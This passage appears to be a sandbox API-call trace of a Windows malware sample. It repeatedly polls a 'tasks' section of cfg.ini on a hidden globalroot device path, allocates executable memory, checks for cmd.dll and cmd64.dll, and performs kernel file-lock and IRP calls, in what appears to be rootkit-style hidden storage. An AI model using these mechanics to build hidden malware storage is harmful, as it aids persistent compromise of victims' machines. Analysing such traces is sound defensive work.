GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.687] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.687] KeEnterCriticalRegion () [0119.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.687] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.687] IdePortDispatch () returned 0x103 [0119.688] KeWaitForMutexObject () returned 0x0 [0119.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.689] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.689] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.689] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.689] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.689] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0119.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.689] KeLeaveCriticalRegion () [0119.689] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.689] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.689] KeEnterCriticalRegion () [0119.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.689] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.689] KeLeaveCriticalRegion () [0119.689] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.689] KeEnterCriticalRegion () [0119.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.689] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.689] IdePortDispatch () returned 0x103 [0119.689] KeWaitForMutexObject () returned 0x0 [0119.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.689] KeLeaveCriticalRegion () [0119.689] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.689] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.689] KeEnterCriticalRegion () [0119.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.689] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003482000 [0119.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.689] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.689] IdePortDispatch () returned 0x103 [0119.690] KeWaitForMutexObject () returned 0x0 [0119.690] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.690] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.690] IdePortDispatch () returned 0x103 [0119.690] KeWaitForMutexObject () returned 0x0 [0119.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.690] KeLeaveCriticalRegion () [0119.690] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.691] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.691] KeEnterCriticalRegion () [0119.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.691] KeLeaveCriticalRegion () [0119.691] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.691] KeEnterCriticalRegion () [0119.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.691] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.691] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcaa10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.691] KeLeaveCriticalRegion () [0119.691] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.691] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.691] KeEnterCriticalRegion () [0119.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.691] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0119.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.691] KeLeaveCriticalRegion () [0119.691] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.691] ReleaseMutex (hMutex=0xf0) returned 1 [0119.691] Sleep (dwMilliseconds=0x927c0) [0119.704] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.704] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.704] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.704] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.704] KeEnterCriticalRegion () [0119.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.704] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.705] IdePortDispatch () returned 0x103 [0119.705] KeWaitForMutexObject () returned 0x0 [0119.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.705] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.705] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.705] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.705] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.705] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda340 [0119.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.705] KeLeaveCriticalRegion () [0119.705] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.705] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.705] KeEnterCriticalRegion () [0119.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.705] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.705] KeLeaveCriticalRegion () [0119.705] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.705] KeEnterCriticalRegion () [0119.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.705] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.705] IdePortDispatch () returned 0x103 [0119.705] KeWaitForMutexObject () returned 0x0 [0119.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.705] KeLeaveCriticalRegion () [0119.705] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.706] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.706] KeEnterCriticalRegion () [0119.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.706] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003488000 [0119.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.706] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.706] IdePortDispatch () returned 0x103 [0119.706] KeWaitForMutexObject () returned 0x0 [0119.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.706] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.706] IdePortDispatch () returned 0x103 [0119.706] KeWaitForMutexObject () returned 0x0 [0119.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.706] KeLeaveCriticalRegion () [0119.706] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.707] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.707] KeEnterCriticalRegion () [0119.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.707] KeLeaveCriticalRegion () [0119.707] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.707] KeEnterCriticalRegion () [0119.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.707] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.707] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca670, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.707] KeLeaveCriticalRegion () [0119.707] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.707] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.707] KeEnterCriticalRegion () [0119.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.707] ExFreePoolWithTag (P=0xfffffa8003bda340, Tag=0x0) [0119.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.707] KeLeaveCriticalRegion () [0119.707] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.707] ReleaseMutex (hMutex=0xf0) returned 1 [0119.707] Sleep (dwMilliseconds=0x927c0) [0119.721] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.721] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.721] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.721] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.721] KeEnterCriticalRegion () [0119.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.721] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.721] IdePortDispatch () returned 0x103 [0119.721] KeWaitForMutexObject () returned 0x0 [0119.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.721] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.721] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.721] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.721] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.721] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaca0 [0119.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.721] KeLeaveCriticalRegion () [0119.721] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.722] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.722] KeEnterCriticalRegion () [0119.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.722] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.722] KeLeaveCriticalRegion () [0119.722] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.722] KeEnterCriticalRegion () [0119.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.722] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.722] IdePortDispatch () returned 0x103 [0119.722] KeWaitForMutexObject () returned 0x0 [0119.722] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.722] KeLeaveCriticalRegion () [0119.722] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.722] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.722] KeEnterCriticalRegion () [0119.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.722] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348d000 [0119.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.723] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.723] IdePortDispatch () returned 0x103 [0119.723] KeWaitForMutexObject () returned 0x0 [0119.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.723] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.723] IdePortDispatch () returned 0x103 [0119.723] KeWaitForMutexObject () returned 0x0 [0119.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.723] KeLeaveCriticalRegion () [0119.723] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.724] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.724] KeEnterCriticalRegion () [0119.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.724] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.724] KeLeaveCriticalRegion () [0119.724] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.724] KeEnterCriticalRegion () [0119.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.724] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.724] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca670, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.724] KeLeaveCriticalRegion () [0119.724] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.724] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.724] KeEnterCriticalRegion () [0119.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.724] ExFreePoolWithTag (P=0xfffffa8003bcaca0, Tag=0x0) [0119.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.724] KeLeaveCriticalRegion () [0119.724] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.724] ReleaseMutex (hMutex=0xf0) returned 1 [0119.724] Sleep (dwMilliseconds=0x927c0) [0119.739] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.739] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.739] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.739] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.739] KeEnterCriticalRegion () [0119.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.739] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.739] IdePortDispatch () returned 0x103 [0119.739] KeWaitForMutexObject () returned 0x0 [0119.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.740] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.740] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.740] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.740] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.740] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca560 [0119.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.740] KeLeaveCriticalRegion () [0119.740] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.740] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.740] KeEnterCriticalRegion () [0119.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.740] FsRtlProcessFileLock 